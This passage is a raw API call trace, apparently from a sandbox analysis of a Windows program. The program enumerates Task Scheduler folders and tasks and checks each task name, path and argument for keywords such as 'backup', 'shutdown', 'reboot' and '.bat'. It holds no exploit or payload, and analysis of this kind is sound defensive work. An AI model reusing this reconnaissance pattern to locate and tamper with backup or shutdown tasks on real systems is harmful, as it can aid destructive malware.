(_Str="-energy -auto", _SubStr="restart") returned 0x0 [0152.707] wcsstr (_Str="-energy -auto", _SubStr="shutdown") returned 0x0 [0152.708] wcsstr (_Str="-energy -auto", _SubStr="logoff") returned 0x0 [0152.708] wcsstr (_Str="-energy -auto", _SubStr=".bat") returned 0x0 [0152.708] wcsstr (_Str="-energy -auto", _SubStr="backup") returned 0x0 [0152.708] wcsstr (_Str="-energy -auto", _SubStr=".cmd") returned 0x0 [0152.708] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5ec0) returned 1 [0152.708] IUnknown:Release (This=0x47fd88) returned 0x2 [0152.708] IUnknown:Release (This=0x47fd88) returned 0x1 [0152.708] IUnknown:Release (This=0x47fac8) returned 0x1 [0152.708] IUnknown:Release (This=0x47fa50) returned 0x0 [0152.708] IUnknown:Release (This=0x2460a88) returned 0x0 [0152.708] IUnknown:Release (This=0x24609e0) returned 0x0 [0152.708] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609e0) returned 0x0 [0153.391] ITaskFolderCollection:get_Count (in: This=0x24609e0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.391] IUnknown:Release (This=0x24609e0) returned 0x0 [0153.391] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.391] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.391] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b0) returned 0x0 [0153.673] IRegisteredTaskCollection:get_Count (in: This=0x24609b0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0153.673] IUnknown:Release (This=0x24609b0) returned 0x0 [0153.674] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b0) returned 0x0 [0153.674] ITaskFolderCollection:get_Count (in: This=0x24609b0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.674] IUnknown:Release (This=0x24609b0) returned 0x0 [0153.674] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.674] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.674] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b0) returned 0x0 [0153.675] IRegisteredTaskCollection:get_Count (in: This=0x24609b0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0153.675] IUnknown:Release (This=0x24609b0) returned 0x0 [0153.675] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b0) returned 0x0 [0153.675] ITaskFolderCollection:get_Count (in: This=0x24609b0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.675] IUnknown:Release (This=0x24609b0) returned 0x0 [0153.675] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.675] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.675] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b8) returned 0x0 [0153.676] IRegisteredTaskCollection:get_Count (in: This=0x24609b8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0153.676] IUnknown:Release (This=0x24609b8) returned 0x0 [0153.676] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b8) returned 0x0 [0153.676] ITaskFolderCollection:get_Count (in: This=0x24609b8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.676] IUnknown:Release (This=0x24609b8) returned 0x0 [0153.676] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.676] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.676] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609f8) returned 0x0 [0153.677] IRegisteredTaskCollection:get_Count (in: This=0x24609f8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0153.677] IUnknown:Release (This=0x24609f8) returned 0x0 [0153.677] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609f8) returned 0x0 [0153.677] ITaskFolderCollection:get_Count (in: This=0x24609f8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.677] IUnknown:Release (This=0x24609f8) returned 0x0 [0153.677] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.677] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.677] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2460978) returned 0x0 [0153.678] IRegisteredTaskCollection:get_Count (in: This=0x2460978, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0153.678] IUnknown:Release (This=0x2460978) returned 0x0 [0153.678] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2460978) returned 0x0 [0153.678] ITaskFolderCollection:get_Count (in: This=0x2460978, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.678] IUnknown:Release (This=0x2460978) returned 0x0 [0153.678] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.678] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.678] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b8) returned 0x0 [0153.678] IRegisteredTaskCollection:get_Count (in: This=0x24609b8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0153.679] IUnknown:Release (This=0x24609b8) returned 0x0 [0153.679] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b8) returned 0x0 [0153.679] ITaskFolderCollection:get_Count (in: This=0x24609b8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.679] IUnknown:Release (This=0x24609b8) returned 0x0 [0153.679] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.679] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.679] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b8) returned 0x0 [0153.680] IRegisteredTaskCollection:get_Count (in: This=0x24609b8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=4) returned 0x0 [0153.680] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a40) returned 0x0 [0153.680] IRegisteredTask:get_Name (in: This=0x2460a40, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AutoWake") returned 0x0 [0153.680] IRegisteredTask:get_State (in: This=0x2460a40, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0153.681] IUnknown:Release (This=0x2460a40) returned 0x0 [0153.681] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a40) returned 0x0 [0153.681] IRegisteredTask:get_Name (in: This=0x2460a40, pName=0x5cf9f8 | out: pName=0x5cf9f8*="GadgetManager") returned 0x0 [0153.681] IRegisteredTask:get_State (in: This=0x2460a40, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0153.683] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e62a8 [0153.683] wcsstr (_Str="gadgetmanager", _SubStr="reboot") returned 0x0 [0153.683] wcsstr (_Str="gadgetmanager", _SubStr="restart") returned 0x0 [0153.683] wcsstr (_Str="gadgetmanager", _SubStr="shutdown") returned 0x0 [0153.683] wcsstr (_Str="gadgetmanager", _SubStr="logoff") returned 0x0 [0153.683] wcsstr (_Str="gadgetmanager", _SubStr=".bat") returned 0x0 [0153.683] wcsstr (_Str="gadgetmanager", _SubStr="backup") returned 0x0 [0153.683] wcsstr (_Str="gadgetmanager", _SubStr=".cmd") returned 0x0 [0153.683] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e62a8) returned 1 [0153.683] IRegisteredTask:get_Definition (in: This=0x2460a40, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fab8) returned 0x0 [0153.688] ITaskDefinition:get_Actions (in: This=0x47fab8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460a88) returned 0x0 [0153.688] IActionCollection:get_Count (in: This=0x2460a88, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0153.688] IActionCollection:get_Item (in: This=0x2460a88, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fda8) returned 0x0 [0153.688] IAction:get_Type (in: This=0x47fda8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0153.688] IUnknown:Release (This=0x47fda8) returned 0x1 [0153.688] IUnknown:Release (This=0x2460a88) returned 0x1 [0153.688] IUnknown:Release (This=0x47fab8) returned 0x0 [0153.688] IUnknown:Release (This=0x2460a40) returned 0x0 [0153.688] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a40) returned 0x0 [0153.688] IRegisteredTask:get_Name (in: This=0x2460a40, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SessionAgent") returned 0x0 [0153.688] IRegisteredTask:get_State (in: This=0x2460a40, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0153.690] IUnknown:Release (This=0x2460a40) returned 0x0 [0153.690] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a40) returned 0x0 [0153.690] IRegisteredTask:get_Name (in: This=0x2460a40, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SystemDataProviders") returned 0x0 [0153.690] IRegisteredTask:get_State (in: This=0x2460a40, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0153.691] IUnknown:Release (This=0x2460a40) returned 0x0 [0153.691] IUnknown:Release (This=0x24609b8) returned 0x0 [0153.691] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b8) returned 0x0 [0153.692] ITaskFolderCollection:get_Count (in: This=0x24609b8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.692] IUnknown:Release (This=0x24609b8) returned 0x0 [0153.692] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.692] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1f, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.692] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609e0) returned 0x0 [0153.692] IRegisteredTaskCollection:get_Count (in: This=0x24609e0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0153.692] IUnknown:Release (This=0x24609e0) returned 0x0 [0153.692] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609e0) returned 0x0 [0153.693] ITaskFolderCollection:get_Count (in: This=0x24609e0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.693] IUnknown:Release (This=0x24609e0) returned 0x0 [0153.693] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.693] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.693] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609c0) returned 0x0 [0153.693] IRegisteredTaskCollection:get_Count (in: This=0x24609c0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0153.693] IUnknown:Release (This=0x24609c0) returned 0x0 [0153.693] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609c0) returned 0x0 [0153.693] ITaskFolderCollection:get_Count (in: This=0x24609c0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.694] IUnknown:Release (This=0x24609c0) returned 0x0 [0153.694] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.694] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.694] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2460978) returned 0x0 [0153.694] IRegisteredTaskCollection:get_Count (in: This=0x2460978, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0153.694] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a10) returned 0x0 [0153.694] IRegisteredTask:get_Name (in: This=0x2460a10, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SR") returned 0x0 [0153.694] IRegisteredTask:get_State (in: This=0x2460a10, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0153.695] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6d8988 [0153.696] wcsstr (_Str="sr", _SubStr="reboot") returned 0x0 [0153.696] wcsstr (_Str="sr", _SubStr="restart") returned 0x0 [0153.696] wcsstr (_Str="sr", _SubStr="shutdown") returned 0x0 [0153.696] wcsstr (_Str="sr", _SubStr="logoff") returned 0x0 [0153.696] wcsstr (_Str="sr", _SubStr=".bat") returned 0x0 [0153.696] wcsstr (_Str="sr", _SubStr="backup") returned 0x0 [0153.696] wcsstr (_Str="sr", _SubStr=".cmd") returned 0x0 [0153.696] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8988) returned 1 [0153.696] IRegisteredTask:get_Definition (in: This=0x2460a10, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0153.706] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0153.706] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0153.706] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fdb0) returned 0x0 [0153.706] IAction:get_Type (in: This=0x47fdb0, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0153.706] IUnknown:QueryInterface (in: This=0x47fdb0, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fdb0) returned 0x0 [0153.706] IExecAction:get_Path (in: This=0x47fdb0, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0153.706] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2860 [0153.706] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0153.706] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0153.706] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0153.706] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0153.706] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0153.706] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0153.706] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0153.706] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0153.706] IExecAction:get_Arguments (in: This=0x47fdb0, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/d srrstr.dll,ExecuteScheduledSPPCreation") returned 0x0 [0153.706] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x54) returned 0x6d9258 [0153.706] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="reboot") returned 0x0 [0153.706] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="restart") returned 0x0 [0153.707] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="shutdown") returned 0x0 [0153.707] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="logoff") returned 0x0 [0153.707] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".bat") returned 0x0 [0153.707] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="backup") returned 0x0 [0153.707] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".cmd") returned 0x0 [0153.707] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9258) returned 1 [0153.707] IUnknown:Release (This=0x47fdb0) returned 0x2 [0153.707] IUnknown:Release (This=0x47fdb0) returned 0x1 [0153.707] IUnknown:Release (This=0x47fac8) returned 0x1 [0153.707] IUnknown:Release (This=0x47fa50) returned 0x0 [0153.707] IUnknown:Release (This=0x2460a10) returned 0x0 [0153.707] IUnknown:Release (This=0x2460978) returned 0x0 [0153.707] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2460978) returned 0x0 [0153.707] ITaskFolderCollection:get_Count (in: This=0x2460978, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.707] IUnknown:Release (This=0x2460978) returned 0x0 [0153.707] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.707] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x22, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.707] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609c0) returned 0x0 [0153.708] IRegisteredTaskCollection:get_Count (in: This=0x24609c0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0153.708] IUnknown:Release (This=0x24609c0) returned 0x0 [0153.708] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609c0) returned 0x0 [0153.708] ITaskFolderCollection:get_Count (in: This=0x24609c0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0153.708] IUnknown:Release (This=0x24609c0) returned 0x0 [0153.708] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0153.708] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0153.708] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b8) returned 0x0 [0153.709] IRegisteredTaskCollection:get_Count (in: This=0x24609b8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0153.709] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a40) returned 0x0 [0153.709] IRegisteredTask:get_Name (in: This=0x2460a40, pName=0x5cf9f8 | out: pName=0x5cf9f8*="IpAddressConflict1") returned 0x0 [0153.709] IRegisteredTask:get_State (in: This=0x2460a40, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0153.710] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0153.710] wcsstr (_Str="ipaddressconflict1", _SubStr="reboot") returned 0x0 [0153.710] wcsstr (_Str="ipaddressconflict1", _SubStr="restart") returned 0x0 [0153.711] wcsstr (_Str="ipaddressconflict1", _SubStr="shutdown") returned 0x0 [0153.711] wcsstr (_Str="ipaddressconflict1", _SubStr="logoff") returned 0x0 [0153.711] wcsstr (_Str="ipaddressconflict1", _SubStr=".bat") returned 0x0 [0153.711] wcsstr (_Str="ipaddressconflict1", _SubStr="backup") returned 0x0 [0153.711] wcsstr (_Str="ipaddressconflict1", _SubStr=".cmd") returned 0x0 [0153.711] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0153.711] IRegisteredTask:get_Definition (in: This=0x2460a40, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fab8) returned 0x0 [0153.717] ITaskDefinition:get_Actions (in: This=0x47fab8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460a88) returned 0x0 [0153.717] IActionCollection:get_Count (in: This=0x2460a88, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0153.717] IActionCollection:get_Item (in: This=0x2460a88, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fe40) returned 0x0 [0153.717] IAction:get_Type (in: This=0x47fe40, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0153.717] IUnknown:QueryInterface (in: This=0x47fe40, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fe40) returned 0x0 [0153.717] IExecAction:get_Path (in: This=0x47fe40, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0153.717] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2860 [0153.717] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0153.717] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0153.717] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0153.717] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0153.717] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0153.717] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0153.717] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0153.717] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0153.717] IExecAction:get_Arguments (in: This=0x47fe40, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="ndfapi.dll,NdfRunDllDuplicateIPOffendingSystem") returned 0x0 [0153.717] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5e) returned 0x6d9308 [0153.717] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="reboot") returned 0x0 [0153.717] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="restart") returned 0x0 [0153.717] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="shutdown") returned 0x0 [0153.717] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="logoff") returned 0x0 [0153.717] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".bat") returned 0x0 [0153.717] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="backup") returned 0x0 [0153.718] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".cmd") returned 0x0 [0153.718] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9308) returned 1 [0153.718] IUnknown:Release (This=0x47fe40) returned 0x2 [0153.718] IUnknown:Release (This=0x47fe40) returned 0x1 [0153.718] IUnknown:Release (This=0x2460a88) returned 0x1 [0153.718] IUnknown:Release (This=0x47fab8) returned 0x0 [0153.718] IUnknown:Release (This=0x2460a40) returned 0x0 [0153.718] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a40) returned 0x0 [0153.718] IRegisteredTask:get_Name (in: This=0x2460a40, pName=0x5cf9f8 | out: pName=0x5cf9f8*="IpAddressConflict2") returned 0x0 [0153.718] IRegisteredTask:get_State (in: This=0x2460a40, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0153.719] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0153.719] wcsstr (_Str="ipaddressconflict2", _SubStr="reboot") returned 0x0 [0153.719] wcsstr (_Str="ipaddressconflict2", _SubStr="restart") returned 0x0 [0153.719] wcsstr (_Str="ipaddressconflict2", _SubStr="shutdown") returned 0x0 [0153.719] wcsstr (_Str="ipaddressconflict2", _SubStr="logoff") returned 0x0 [0153.719] wcsstr (_Str="ipaddressconflict2", _SubStr=".bat") returned 0x0 [0153.719] wcsstr (_Str="ipaddressconflict2", _SubStr="backup") returned 0x0 [0153.719] wcsstr (_Str="ipaddressconflict2", _SubStr=".cmd") returned 0x0 